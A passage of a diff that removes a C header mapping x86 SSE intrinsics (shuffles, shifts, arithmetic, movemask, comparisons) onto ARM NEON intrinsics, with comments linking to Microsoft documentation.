a22, 1); /* apoty: TODO: use vzip ?*/ - float32x2_t b32 = vget_high_f32(vreinterpretq_f32_m128(b)); - return vreinterpretq_m128_f32(vcombine_f32(a02, b32)); -} - -FORCE_INLINE __m128 _mm_shuffle_ps_1133(__m128 a, __m128 b) -{ - float32x2_t a33 = vdup_lane_f32(vget_high_f32(vreinterpretq_f32_m128(a)), 1); - float32x2_t b11 = vdup_lane_f32(vget_low_f32(vreinterpretq_f32_m128(b)), 1); - return vreinterpretq_m128_f32(vcombine_f32(a33, b11)); -} - -FORCE_INLINE __m128 _mm_shuffle_ps_2010(__m128 a, __m128 b) -{ - float32x2_t a10 = vget_low_f32(vreinterpretq_f32_m128(a)); - float32_t b2 = vgetq_lane_f32(vreinterpretq_f32_m128(b), 2); - float32x2_t b00 = vdup_lane_f32(vget_low_f32(vreinterpretq_f32_m128(b)), 0); - float32x2_t b20 = vset_lane_f32(b2, b00, 1); - return vreinterpretq_m128_f32(vcombine_f32(a10, b20)); -} - -FORCE_INLINE __m128 _mm_shuffle_ps_2001(__m128 a, __m128 b) -{ - float32x2_t a01 = vrev64_f32(vget_low_f32(vreinterpretq_f32_m128(a))); - float32_t b2 = vgetq_lane_f32(b, 2); - float32x2_t b00 = vdup_lane_f32(vget_low_f32(vreinterpretq_f32_m128(b)), 0); - float32x2_t b20 = vset_lane_f32(b2, b00, 1); - return vreinterpretq_m128_f32(vcombine_f32(a01, b20)); -} - -FORCE_INLINE __m128 _mm_shuffle_ps_2032(__m128 a, __m128 b) -{ - float32x2_t a32 = vget_high_f32(vreinterpretq_f32_m128(a)); - float32_t b2 = vgetq_lane_f32(b, 2); - float32x2_t b00 = vdup_lane_f32(vget_low_f32(vreinterpretq_f32_m128(b)), 0); - float32x2_t b20 = vset_lane_f32(b2, b00, 1); - return vreinterpretq_m128_f32(vcombine_f32(a32, b20)); -} - -// NEON does not support a general purpose permute intrinsic -// Currently I am not sure whether the C implementation is faster or slower than the NEON version. -// Note, this has to be expanded as a template because the shuffle value must be an immediate value. -// The same is true on SSE as well. -// Selects four specific single-precision, floating-point values from a and b, based on the mask i. https://msdn.microsoft.com/en-us/library/vstudio/5f0858x0(v=vs.100).aspx -#if ENABLE_CPP_VERSION // I am not convinced that the NEON version is faster than the C version yet. -FORCE_INLINE __m128 _mm_shuffle_ps_default(__m128 a, __m128 b, __constrange(0,255) int imm) -{ - __m128 ret; - ret[0] = a[imm & 0x3]; - ret[1] = a[(imm >> 2) & 0x3]; - ret[2] = b[(imm >> 4) & 0x03]; - ret[3] = b[(imm >> 6) & 0x03]; - return ret; -} -#else -#define _mm_shuffle_ps_default(a, b, imm) \ -({ \ - float32x4_t ret; \ - ret = vmovq_n_f32(vgetq_lane_f32(vreinterpretq_f32_m128(a), (imm) & 0x3)); \ - ret = vsetq_lane_f32(vgetq_lane_f32(vreinterpretq_f32_m128(a), ((imm) >> 2) & 0x3), ret, 1); \ - ret = vsetq_lane_f32(vgetq_lane_f32(vreinterpretq_f32_m128(b), ((imm) >> 4) & 0x3), ret, 2); \ - ret = vsetq_lane_f32(vgetq_lane_f32(vreinterpretq_f32_m128(b), ((imm) >> 6) & 0x3), ret, 3); \ - vreinterpretq_m128_f32(ret); \ -}) -#endif - -//FORCE_INLINE __m128 _mm_shuffle_ps(__m128 a, __m128 b, __constrange(0,255) int imm) -#define _mm_shuffle_ps(a, b, imm) \ -({ \ - __m128 ret; \ - switch (imm) \ - { \ - case _MM_SHUFFLE(1, 0, 3, 2): ret = _mm_shuffle_ps_1032((a), (b)); break; \ - case _MM_SHUFFLE(2, 3, 0, 1): ret = _mm_shuffle_ps_2301((a), (b)); break; \ - case _MM_SHUFFLE(0, 3, 2, 1): ret = _mm_shuffle_ps_0321((a), (b)); break; \ - case _MM_SHUFFLE(2, 1, 0, 3): ret = _mm_shuffle_ps_2103((a), (b)); break; \ - case _MM_SHUFFLE(1, 0, 1, 0): ret = _mm_shuffle_ps_1010((a), (b)); break; \ - case _MM_SHUFFLE(1, 0, 0, 1): ret = _mm_shuffle_ps_1001((a), (b)); break; \ - case _MM_SHUFFLE(0, 1, 0, 1): ret = _mm_shuffle_ps_0101((a), (b)); break; \ - case _MM_SHUFFLE(3, 2, 1, 0): ret = _mm_shuffle_ps_3210((a), (b)); break; \ - case _MM_SHUFFLE(0, 0, 1, 1): ret = _mm_shuffle_ps_0011((a), (b)); break; \ - case _MM_SHUFFLE(0, 0, 2, 2): ret = _mm_shuffle_ps_0022((a), (b)); break; \ - case _MM_SHUFFLE(2, 2, 0, 0): ret = _mm_shuffle_ps_2200((a), (b)); break; \ - case _MM_SHUFFLE(3, 2, 0, 2): ret = _mm_shuffle_ps_3202((a), (b)); break; \ - case _MM_SHUFFLE(1, 1, 3, 3): ret = _mm_shuffle_ps_1133((a), (b)); break; \ - case _MM_SHUFFLE(2, 0, 1, 0): ret = _mm_shuffle_ps_2010((a), (b)); break; \ - case _MM_SHUFFLE(2, 0, 0, 1): ret = _mm_shuffle_ps_2001((a), (b)); break; \ - case _MM_SHUFFLE(2, 0, 3, 2): ret = _mm_shuffle_ps_2032((a), (b)); break; \ - default: ret = _mm_shuffle_ps_default((a), (b), (imm)); break; \ - } \ - ret; \ -}) - -// Takes the upper 64 bits of a and places it in the low end of the result -// Takes the lower 64 bits of a and places it into the high end of the result. -FORCE_INLINE __m128i _mm_shuffle_epi_1032(__m128i a) -{ - int32x2_t a32 = vget_high_s32(vreinterpretq_s32_m128i(a)); - int32x2_t a10 = vget_low_s32(vreinterpretq_s32_m128i(a)); - return vreinterpretq_m128i_s32(vcombine_s32(a32, a10)); -} - -// takes the lower two 32-bit values from a and swaps them and places in low end of result -// takes the higher two 32 bit values from a and swaps them and places in high end of result. -FORCE_INLINE __m128i _mm_shuffle_epi_2301(__m128i a) -{ - int32x2_t a01 = vrev64_s32(vget_low_s32(vreinterpretq_s32_m128i(a))); - int32x2_t a23 = vrev64_s32(vget_high_s32(vreinterpretq_s32_m128i(a))); - return vreinterpretq_m128i_s32(vcombine_s32(a01, a23)); -} - -// rotates the least significant 32 bits into the most signficant 32 bits, and shifts the rest down -FORCE_INLINE __m128i _mm_shuffle_epi_0321(__m128i a) -{ - return vreinterpretq_m128i_s32(vextq_s32(vreinterpretq_s32_m128i(a), vreinterpretq_s32_m128i(a), 1)); -} - -// rotates the most significant 32 bits into the least signficant 32 bits, and shifts the rest up -FORCE_INLINE __m128i _mm_shuffle_epi_2103(__m128i a) -{ - return vreinterpretq_m128i_s32(vextq_s32(vreinterpretq_s32_m128i(a), vreinterpretq_s32_m128i(a), 3)); -} - -// gets the lower 64 bits of a, and places it in the upper 64 bits -// gets the lower 64 bits of a and places it in the lower 64 bits -FORCE_INLINE __m128i _mm_shuffle_epi_1010(__m128i a) -{ - int32x2_t a10 = vget_low_s32(vreinterpretq_s32_m128i(a)); - return vreinterpretq_m128i_s32(vcombine_s32(a10, a10)); -} - -// gets the lower 64 bits of a, swaps the 0 and 1 elements, and places it in the lower 64 bits -// gets the lower 64 bits of a, and places it in the upper 64 bits -FORCE_INLINE __m128i _mm_shuffle_epi_1001(__m128i a) -{ - int32x2_t a01 = vrev64_s32(vget_low_s32(vreinterpretq_s32_m128i(a))); - int32x2_t a10 = vget_low_s32(vreinterpretq_s32_m128i(a)); - return vreinterpretq_m128i_s32(vcombine_s32(a01, a10)); -} - -// gets the lower 64 bits of a, swaps the 0 and 1 elements and places it in the upper 64 bits -// gets the lower 64 bits of a, swaps the 0 and 1 elements, and places it in the lower 64 bits -FORCE_INLINE __m128i _mm_shuffle_epi_0101(__m128i a) -{ - int32x2_t a01 = vrev64_s32(vget_low_s32(vreinterpretq_s32_m128i(a))); - return vreinterpretq_m128i_s32(vcombine_s32(a01, a01)); -} - -FORCE_INLINE __m128i _mm_shuffle_epi_2211(__m128i a) -{ - int32x2_t a11 = vdup_lane_s32(vget_low_s32(vreinterpretq_s32_m128i(a)), 1); - int32x2_t a22 = vdup_lane_s32(vget_high_s32(vreinterpretq_s32_m128i(a)), 0); - return vreinterpretq_m128i_s32(vcombine_s32(a11, a22)); -} - -FORCE_INLINE __m128i _mm_shuffle_epi_0122(__m128i a) -{ - int32x2_t a22 = vdup_lane_s32(vget_high_s32(vreinterpretq_s32_m128i(a)), 0); - int32x2_t a01 = vrev64_s32(vget_low_s32(vreinterpretq_s32_m128i(a))); - return vreinterpretq_m128i_s32(vcombine_s32(a22, a01)); -} - -FORCE_INLINE __m128i _mm_shuffle_epi_3332(__m128i a) -{ - int32x2_t a32 = vget_high_s32(vreinterpretq_s32_m128i(a)); - int32x2_t a33 = vdup_lane_s32(vget_high_s32(vreinterpretq_s32_m128i(a)), 1); - return vreinterpretq_m128i_s32(vcombine_s32(a32, a33)); -} - -//FORCE_INLINE __m128i _mm_shuffle_epi32_default(__m128i a, __constrange(0,255) int imm) -#if ENABLE_CPP_VERSION -FORCE_INLINE __m128i _mm_shuffle_epi32_default(__m128i a, __constrange(0,255) int imm) -{ - __m128i ret; - ret[0] = a[imm & 0x3]; - ret[1] = a[(imm >> 2) & 0x3]; - ret[2] = a[(imm >> 4) & 0x03]; - ret[3] = a[(imm >> 6) & 0x03]; - return ret; -} -#else -#define _mm_shuffle_epi32_default(a, imm) \ -({ \ - int32x4_t ret; \ - ret = vmovq_n_s32(vgetq_lane_s32(vreinterpretq_s32_m128i(a), (imm) & 0x3)); \ - ret = vsetq_lane_s32(vgetq_lane_s32(vreinterpretq_s32_m128i(a), ((imm) >> 2) & 0x3), ret, 1); \ - ret = vsetq_lane_s32(vgetq_lane_s32(vreinterpretq_s32_m128i(a), ((imm) >> 4) & 0x3), ret, 2); \ - ret = vsetq_lane_s32(vgetq_lane_s32(vreinterpretq_s32_m128i(a), ((imm) >> 6) & 0x3), ret, 3); \ - vreinterpretq_m128i_s32(ret); \ -}) -#endif - -//FORCE_INLINE __m128i _mm_shuffle_epi32_splat(__m128i a, __constrange(0,255) int imm) -#if defined(__aarch64__) -#define _mm_shuffle_epi32_splat(a, imm) \ -({ \ - vreinterpretq_m128i_s32(vdupq_laneq_s32(vreinterpretq_s32_m128i(a), (imm))); \ -}) -#else -#define _mm_shuffle_epi32_splat(a, imm) \ -({ \ - vreinterpretq_m128i_s32(vdupq_n_s32(vgetq_lane_s32(vreinterpretq_s32_m128i(a), (imm)))); \ -}) -#endif - -// Shuffles the 4 signed or unsigned 32-bit integers in a as specified by imm. https://msdn.microsoft.com/en-us/library/56f67xbk%28v=vs.90%29.aspx -//FORCE_INLINE __m128i _mm_shuffle_epi32(__m128i a, __constrange(0,255) int imm) -#define _mm_shuffle_epi32(a, imm) \ -({ \ - __m128i ret; \ - switch (imm) \ - { \ - case _MM_SHUFFLE(1, 0, 3, 2): ret = _mm_shuffle_epi_1032((a)); break; \ - case _MM_SHUFFLE(2, 3, 0, 1): ret = _mm_shuffle_epi_2301((a)); break; \ - case _MM_SHUFFLE(0, 3, 2, 1): ret = _mm_shuffle_epi_0321((a)); break; \ - case _MM_SHUFFLE(2, 1, 0, 3): ret = _mm_shuffle_epi_2103((a)); break; \ - case _MM_SHUFFLE(1, 0, 1, 0): ret = _mm_shuffle_epi_1010((a)); break; \ - case _MM_SHUFFLE(1, 0, 0, 1): ret = _mm_shuffle_epi_1001((a)); break; \ - case _MM_SHUFFLE(0, 1, 0, 1): ret = _mm_shuffle_epi_0101((a)); break; \ - case _MM_SHUFFLE(2, 2, 1, 1): ret = _mm_shuffle_epi_2211((a)); break; \ - case _MM_SHUFFLE(0, 1, 2, 2): ret = _mm_shuffle_epi_0122((a)); break; \ - case _MM_SHUFFLE(3, 3, 3, 2): ret = _mm_shuffle_epi_3332((a)); break; \ - case _MM_SHUFFLE(0, 0, 0, 0): ret = _mm_shuffle_epi32_splat((a),0); break; \ - case _MM_SHUFFLE(1, 1, 1, 1): ret = _mm_shuffle_epi32_splat((a),1); break; \ - case _MM_SHUFFLE(2, 2, 2, 2): ret = _mm_shuffle_epi32_splat((a),2); break; \ - case _MM_SHUFFLE(3, 3, 3, 3): ret = _mm_shuffle_epi32_splat((a),3); break; \ - default: ret = _mm_shuffle_epi32_default((a), (imm)); break; \ - } \ - ret; \ -}) - -// Shuffles the upper 4 signed or unsigned 16 - bit integers in a as specified by imm. https://msdn.microsoft.com/en-us/library/13ywktbs(v=vs.100).aspx -//FORCE_INLINE __m128i _mm_shufflehi_epi16_function(__m128i a, __constrange(0,255) int imm) -#define _mm_shufflehi_epi16_function(a, imm) \ -({ \ - int16x8_t ret = vreinterpretq_s16_s32(a); \ - int16x4_t highBits = vget_high_s16(ret); \ - ret = vsetq_lane_s16(vget_lane_s16(highBits, (imm) & 0x3), ret, 4); \ - ret = vsetq_lane_s16(vget_lane_s16(highBits, ((imm) >> 2) & 0x3), ret, 5); \ - ret = vsetq_lane_s16(vget_lane_s16(highBits, ((imm) >> 4) & 0x3), ret, 6); \ - ret = vsetq_lane_s16(vget_lane_s16(highBits, ((imm) >> 6) & 0x3), ret, 7); \ - vreinterpretq_s32_s16(ret); \ -}) - -//FORCE_INLINE __m128i _mm_shufflehi_epi16(__m128i a, __constrange(0,255) int imm) -#define _mm_shufflehi_epi16(a, imm) \ - _mm_shufflehi_epi16_function((a), (imm)) - - -// Shifts the 4 signed or unsigned 32-bit integers in a left by count bits while shifting in zeros. : https://msdn.microsoft.com/en-us/library/z2k3bbtb%28v=vs.90%29.aspx -//FORCE_INLINE __m128i _mm_slli_epi32(__m128i a, __constrange(0,255) int imm) -#define _mm_slli_epi32(a, imm) \ -({ \ - __m128i ret; \ - if ((imm) <= 0) {\ - ret = a; \ - } \ - else if ((imm) > 31) { \ - ret = _mm_setzero_si128(); \ - } \ - else { \ - ret = vreinterpretq_m128i_s32(vshlq_n_s32(vreinterpretq_s32_m128i(a), (imm))); \ - } \ - ret; \ -}) - -//Shifts the 4 signed or unsigned 32-bit integers in a right by count bits while shifting in zeros. https://msdn.microsoft.com/en-us/library/w486zcfa(v=vs.100).aspx -//FORCE_INLINE __m128i _mm_srli_epi32(__m128i a, __constrange(0,255) int imm) -#define _mm_srli_epi32(a, imm) \ -({ \ - __m128i ret; \ - if ((imm) <= 0) { \ - ret = a; \ - } \ - else if ((imm)> 31) { \ - ret = _mm_setzero_si128(); \ - } \ - else { \ - ret = vreinterpretq_m128i_u32(vshrq_n_u32(vreinterpretq_u32_m128i(a), (imm))); \ - } \ - ret; \ -}) - -// Shifts the 4 signed 32 - bit integers in a right by count bits while shifting in the sign bit. https://msdn.microsoft.com/en-us/library/z1939387(v=vs.100).aspx -//FORCE_INLINE __m128i _mm_srai_epi32(__m128i a, __constrange(0,255) int imm) -#define _mm_srai_epi32(a, imm) \ -({ \ - __m128i ret; \ - if ((imm) <= 0) { \ - ret = a; \ - } \ - else if ((imm) > 31) { \ - ret = vreinterpretq_m128i_s32(vshrq_n_s32(vreinterpretq_s32_m128i(a), 16)); \ - ret = vreinterpretq_m128i_s32(vshrq_n_s32(vreinterpretq_s32_m128i(ret), 16)); \ - } \ - else { \ - ret = vreinterpretq_m128i_s32(vshrq_n_s32(vreinterpretq_s32_m128i(a), (imm))); \ - } \ - ret; \ -}) - -// Shifts the 128 - bit value in a right by imm bytes while shifting in zeros.imm must be an immediate. https://msdn.microsoft.com/en-us/library/305w28yz(v=vs.100).aspx -//FORCE_INLINE _mm_srli_si128(__m128i a, __constrange(0,255) int imm) -#define _mm_srli_si128(a, imm) \ -({ \ - __m128i ret; \ - if ((imm) <= 0) { \ - ret = a; \ - } \ - else if ((imm) > 15) { \ - ret = _mm_setzero_si128(); \ - } \ - else { \ - ret = vreinterpretq_m128i_s8(vextq_s8(vreinterpretq_s8_m128i(a), vdupq_n_s8(0), (imm))); \ - } \ - ret; \ -}) - -// Shifts the 128-bit value in a left by imm bytes while shifting in zeros. imm must be an immediate. https://msdn.microsoft.com/en-us/library/34d3k2kt(v=vs.100).aspx -//FORCE_INLINE __m128i _mm_slli_si128(__m128i a, __constrange(0,255) int imm) -#define _mm_slli_si128(a, imm) \ -({ \ - __m128i ret; \ - if ((imm) <= 0) { \ - ret = a; \ - } \ - else if ((imm) > 15) { \ - ret = _mm_setzero_si128(); \ - } \ - else { \ - ret = vreinterpretq_m128i_s8(vextq_s8(vdupq_n_s8(0), vreinterpretq_s8_m128i(a), 16 - (imm))); \ - } \ - ret; \ -}) - -// NEON does not provide a version of this function, here is an article about some ways to repro the results. -// http://stackoverflow.com/questions/11870910/sse-mm-movemask-epi8-equivalent-method-for-arm-neon -// Creates a 16-bit mask from the most significant bits of the 16 signed or unsigned 8-bit integers in a and zero extends the upper bits. https://msdn.microsoft.com/en-us/library/vstudio/s090c8fk(v=vs.100).aspx -FORCE_INLINE int _mm_movemask_epi8(__m128i _a) -{ - uint8x16_t input = vreinterpretq_u8_m128i(_a); - static const int8_t __attribute__((aligned(16))) xr[8] = { -7, -6, -5, -4, -3, -2, -1, 0 }; - uint8x8_t mask_and = vdup_n_u8(0x80); - int8x8_t mask_shift = vld1_s8(xr); - - uint8x8_t lo = vget_low_u8(input); - uint8x8_t hi = vget_high_u8(input); - - lo = vand_u8(lo, mask_and); - lo = vshl_u8(lo, mask_shift); - - hi = vand_u8(hi, mask_and); - hi = vshl_u8(hi, mask_shift); - - lo = vpadd_u8(lo, lo); - lo = vpadd_u8(lo, lo); - lo = vpadd_u8(lo, lo); - - hi = vpadd_u8(hi, hi); - hi = vpadd_u8(hi, hi); - hi = vpadd_u8(hi, hi); - - return ((hi[0] << 8) | (lo[0] & 0xFF)); -} - - -// ****************************************** -// Math operations -// ****************************************** - -// Subtracts the four single-precision, floating-point values of a and b. https://msdn.microsoft.com/en-us/library/vstudio/1zad2k61(v=vs.100).aspx -FORCE_INLINE __m128 _mm_sub_ps(__m128 a, __m128 b) -{ - return vreinterpretq_m128_f32(vsubq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b))); -} - -// Subtracts the 4 signed or unsigned 32-bit integers of b from the 4 signed or unsigned 32-bit integers of a. https://msdn.microsoft.com/en-us/library/vstudio/fhh866h0(v=vs.100).aspx -FORCE_INLINE __m128i _mm_sub_epi32(__m128i a, __m128i b) -{ - return vreinterpretq_m128_f32(vsubq_s32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b))); -} - -FORCE_INLINE __m128i _mm_sub_epi16(__m128i a, __m128i b) -{ - return vreinterpretq_m128i_s16(vsubq_s16(vreinterpretq_s16_m128i(a), vreinterpretq_s16_m128i(b))); -} - -// Adds the four single-precision, floating-point values of a and b. https://msdn.microsoft.com/en-us/library/vstudio/c9848chc(v=vs.100).aspx -FORCE_INLINE __m128 _mm_add_ps(__m128 a, __m128 b) -{ - return vreinterpretq_m128_f32(vaddq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b))); -} - -// adds the scalar single-precision floating point values of a and b. https://msdn.microsoft.com/en-us/library/be94x2y6(v=vs.100).aspx -FORCE_INLINE __m128 _mm_add_ss(__m128 a, __m128 b) -{ - float32_t b0 = vgetq_lane_f32(vreinterpretq_f32_m128(b), 0); - float32x4_t value = vsetq_lane_f32(b0, vdupq_n_f32(0), 0); - //the upper values in the result must be the remnants of . - return vreinterpretq_m128_f32(vaddq_f32(a, value)); -} - -// Adds the 4 signed or unsigned 32-bit integers in a to the 4 signed or unsigned 32-bit integers in b. https://msdn.microsoft.com/en-us/library/vstudio/09xs4fkk(v=vs.100).aspx -FORCE_INLINE __m128i _mm_add_epi32(__m128i a, __m128i b) -{ - return vreinterpretq_m128i_s32(vaddq_s32(vreinterpretq_s32_m128i(a), vreinterpretq_s32_m128i(b))); -} - -// Adds the 8 signed or unsigned 16-bit integers in a to the 8 signed or unsigned 16-bit integers in b. https://msdn.microsoft.com/en-us/library/fceha5k4(v=vs.100).aspx -FORCE_INLINE __m128i _mm_add_epi16(__m128i a, __m128i b) -{ - return vreinterpretq_m128i_s16(vaddq_s16(vreinterpretq_s16_m128i(a), vreinterpretq_s16_m128i(b))); -} - -// Multiplies the 8 signed or unsigned 16-bit integers from a by the 8 signed or unsigned 16-bit integers from b. https://msdn.microsoft.com/en-us/library/vstudio/9ks1472s(v=vs.100).aspx -FORCE_INLINE __m128i _mm_mullo_epi16(__m128i a, __m128i b) -{ - return vreinterpretq_m128i_s16(vmulq_s16(vreinterpretq_s16_m128i(a), vreinterpretq_s16_m128i(b))); -} - -// Multiplies the 4 signed or unsigned 32-bit integers from a by the 4 signed or unsigned 32-bit integers from b. https://msdn.microsoft.com/en-us/library/vstudio/bb531409(v=vs.100).aspx -FORCE_INLINE __m128i _mm_mullo_epi32(__m128i a, __m128i b) -{ - return vreinterpretq_m128i_s32(vmulq_s32(vreinterpretq_s32_m128i(a),vreinterpretq_s32_m128i(b))); -} - -// Multiplies the four single-precision, floating-point values of a and b. https://msdn.microsoft.com/en-us/library/vstudio/22kbk6t9(v=vs.100).aspx -FORCE_INLINE __m128 _mm_mul_ps(__m128 a, __m128 b) -{ - return vreinterpretq_m128_f32(vmulq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b))); -} - -// Divides the four single-precision, floating-point values of a and b. https://msdn.microsoft.com/en-us/library/edaw8147(v=vs.100).aspx -FORCE_INLINE __m128 _mm_div_ps(__m128 a, __m128 b) -{ - float32x4_t recip0 = vrecpeq_f32(vreinterpretq_f32_m128(b)); - float32x4_t recip1 = vmulq_f32(recip0, vrecpsq_f32(recip0, vreinterpretq_f32_m128(b))); - return vreinterpretq_m128_f32(vmulq_f32(vreinterpretq_f32_m128(a), recip1)); -} - -// Divides the scalar single-precision floating point value of a by b. https://msdn.microsoft.com/en-us/library/4y73xa49(v=vs.100).aspx -FORCE_INLINE __m128 _mm_div_ss(__m128 a, __m128 b) -{ - float32_t value = vgetq_lane_f32(vreinterpretq_f32_m128(_mm_div_ps(a, b)), 0); - return vreinterpretq_m128_f32(vsetq_lane_f32(value, vreinterpretq_f32_m128(a), 0)); -} - -// This version does additional iterations to improve accuracy. Between 1 and 4 recommended. -// Computes the approximations of reciprocals of the four single-precision, floating-point values of a. https://msdn.microsoft.com/en-us/library/vstudio/796k1tty(v=vs.100).aspx -FORCE_INLINE __m128 recipq_newton(__m128 in, int n) -{ - int i; - float32x4_t recip = vrecpeq_f32(vreinterpretq_f32_m128(in)); - for (i = 0; i < n; ++i) - { - recip = vmulq_f32(recip, vrecpsq_f32(recip, vreinterpretq_f32_m128(in))); - } - return vreinterpretq_m128_f32(recip); -} - -// Computes the approximations of reciprocals of the four single-precision, floating-point values of a. https://msdn.microsoft.com/en-us/library/vstudio/796k1tty(v=vs.100).aspx -FORCE_INLINE __m128 _mm_rcp_ps(__m128 in) -{ - float32x4_t recip = vrecpeq_f32(vreinterpretq_f32_m128(in)); - recip = vmulq_f32(recip, vrecpsq_f32(recip, vreinterpretq_f32_m128(in))); - return vreinterpretq_m128_f32(recip); -} - -// Computes the approximations of square roots of the four single-precision, floating-point values of a. First computes reciprocal square roots and then reciprocals of the four values. https://msdn.microsoft.com/en-us/library/vstudio/8z67bwwk(v=vs.100).aspx -FORCE_INLINE __m128 _mm_sqrt_ps(__m128 in) -{ - float32x4_t recipsq = vrsqrteq_f32(vreinterpretq_f32_m128(in)); - float32x4_t sq = vrecpeq_f32(recipsq); - // ??? use step versions of both sqrt and recip for better accuracy? - return vreinterpretq_m128_f32(sq); -} - -// Computes the approximation of the square root of the scalar single-precision floating point value of in. https://msdn.microsoft.com/en-us/library/ahfsc22d(v=vs.100).aspx -FORCE_INLINE __m128 _mm_sqrt_ss(__m128 in) -{ - float32_t value = vgetq_lane_f32(vreinterpretq_f32_m128(_mm_sqrt_ps(in)), 0); - return vreinterpretq_m128_f32(vsetq_lane_f32(value, vreinterpretq_f32_m128(in), 0)); -} - -// Computes the approximations of the reciprocal square roots of the four single-precision floating point values of in. https://msdn.microsoft.com/en-us/library/22hfsh53(v=vs.100).aspx -FORCE_INLINE __m128 _mm_rsqrt_ps(__m128 in) -{ - return vreinterpretq_m128_f32(vrsqrteq_f32(vreinterpretq_f32_m128(in))); -} - -// Computes the maximums of the four single-precision, floating-point values of a and b. https://msdn.microsoft.com/en-us/library/vstudio/ff5d607a(v=vs.100).aspx -FORCE_INLINE __m128 _mm_max_ps(__m128 a, __m128 b) -{ - return vreinterpretq_m128_f32(vmaxq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b))); -} - -// Computes the minima of the four single-precision, floating-point values of a and b. https://msdn.microsoft.com/en-us/library/vstudio/wh13kadz(v=vs.100).aspx -FORCE_INLINE __m128 _mm_min_ps(__m128 a, __m128 b) -{ - return vreinterpretq_m128_f32(vminq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b))); -} - -// Computes the maximum of the two lower scalar single-precision floating point values of a and b. https://msdn.microsoft.com/en-us/library/s6db5esz(v=vs.100).aspx -FORCE_INLINE __m128 _mm_max_ss(__m128 a, __m128 b) -{ - float32_t value = vgetq_lane_f32(vmaxq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b)), 0); - return vreinterpretq_m128_f32(vsetq_lane_f32(value, vreinterpretq_f32_m128(a), 0)); -} - -// Computes the minimum of the two lower scalar single-precision floating point values of a and b. https://msdn.microsoft.com/en-us/library/0a9y7xaa(v=vs.100).aspx -FORCE_INLINE __m128 _mm_min_ss(__m128 a, __m128 b) -{ - float32_t value = vgetq_lane_f32(vminq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b)), 0); - return vreinterpretq_m128_f32(vsetq_lane_f32(value, vreinterpretq_f32_m128(a), 0)); -} - -// Computes the pairwise minima of the 8 signed 16-bit integers from a and the 8 signed 16-bit integers from b. https://msdn.microsoft.com/en-us/library/vstudio/6te997ew(v=vs.100).aspx -FORCE_INLINE __m128i _mm_min_epi16(__m128i a, __m128i b) -{ - return vreinterpretq_m128i_s16(vminq_s16(vreinterpretq_s16_m128i(a), vreinterpretq_s16_m128i(b))); -} - -// epi versions of min/max -// Computes the pariwise maximums of the four signed 32-bit integer values of a and b. https://msdn.microsoft.com/en-us/library/vstudio/bb514055(v=vs.100).aspx -FORCE_INLINE __m128i _mm_max_epi32(__m128i a, __m128i b) -{ - return vreinterpretq_m128i_s32(vmaxq_s32(vreinterpretq_s32_m128i(a), vreinterpretq_s32_m128i(b))); -} - -// Computes the pariwise minima of the four signed 32-bit integer values of a and b. https://msdn.microsoft.com/en-us/library/vstudio/bb531476(v=vs.100).aspx -FORCE_INLINE __m128i _mm_min_epi32(__m128i a, __m128i b) -{ - return vreinterpretq_m128i_s32(vminq_s32(vreinterpretq_s32_m128i(a), vreinterpretq_s32_m128i(b))); -} - -// Multiplies the 8 signed 16-bit integers from a by the 8 signed 16-bit integers from b. https://msdn.microsoft.com/en-us/library/vstudio/59hddw1d(v=vs.100).aspx -FORCE_INLINE __m128i _mm_mulhi_epi16(__m128i a, __m128i b) -{ - /* apoty: issue with large values because of result saturation */ - //int16x8_t ret = vqdmulhq_s16(vreinterpretq_s16_m128i(a), vreinterpretq_s16_m128i(b)); /* =2*a*b */ - //return vreinterpretq_m128i_s16(vshrq_n_s16(ret, 1)); - int16x4_t a3210 = vget_low_s16(vreinterpretq_s16_m128i(a)); - int16x4_t b3210 = vget_low_s16(vreinterpretq_s16_m128i(b)); - int32x4_t ab3210 = vmull_s16(a3210, b3210); /* 3333222211110000 */ - int16x4_t a7654 = vget_high_s16(vreinterpretq_s16_m128i(a)); - int16x4_t b7654 = vget_high_s16(vreinterpretq_s16_m128i(b)); - int32x4_t ab7654 = vmull_s16(a7654, b7654); /* 7777666655554444 */ - uint16x8x2_t r = vuzpq_u16(vreinterpretq_u16_s32(ab3210), vreinterpretq_u16_s32(ab7654)); - return vreinterpretq_m128i_u16(r.val[1]); -} - -// Computes pairwise add of each argument as single-precision, floating-point values a and b. -//https://msdn.microsoft.com/en-us/library/yd9wecaa.aspx -FORCE_INLINE __m128 _mm_hadd_ps(__m128 a, __m128 b ) -{ -#if defined(__aarch64__) - return vreinterpretq_m128_f32(vpaddq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b))); //AArch64 -#else - float32x2_t a10 = vget_low_f32(vreinterpretq_f32_m128(a)); - float32x2_t a32 = vget_high_f32(vreinterpretq_f32_m128(a)); - float32x2_t b10 = vget_low_f32(vreinterpretq_f32_m128(b)); - float32x2_t b32 = vget_high_f32(vreinterpretq_f32_m128(b)); - return vreinterpretq_m128_f32(vcombine_f32(vpadd_f32(a10, a32), vpadd_f32(b10, b32))); -#endif -} - -// ****************************************** -// Compare operations -// ****************************************** - -// Compares for less than https://msdn.microsoft.com/en-us/library/vstudio/f330yhc8(v=vs.100).aspx -FORCE_INLINE __m128 _mm_cmplt_ps(__m128 a, __m128 b) -{ - return vreinterpretq_m128_u32(vcltq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b))); -} - -// Compares for greater than. https://msdn.microsoft.com/en-us/library/vstudio/11dy102s(v=vs.100).aspx -FORCE_INLINE __m128 _mm_cmpgt_ps(__m128 a, __m128 b) -{ - return vreinterpretq_m128_u32(vcgtq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b))); -} - -// Compares for greater than or equal. https://msdn.microsoft.com/en-us/library/vstudio/fs813y2t(v=vs.100).aspx -FORCE_INLINE __m128 _mm_cmpge_ps(__m128 a, __m128 b) -{ - return vreinterpretq_m128_u32(vcgeq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b))); -} - -// Compares for less than or equal. https://msdn.microsoft.com/en-us/library/vstudio/1s75w83z(v=vs.100).aspx -FORCE_INLINE __m128 _mm_cmple_ps(__m128 a, __m128 b) -{ - return 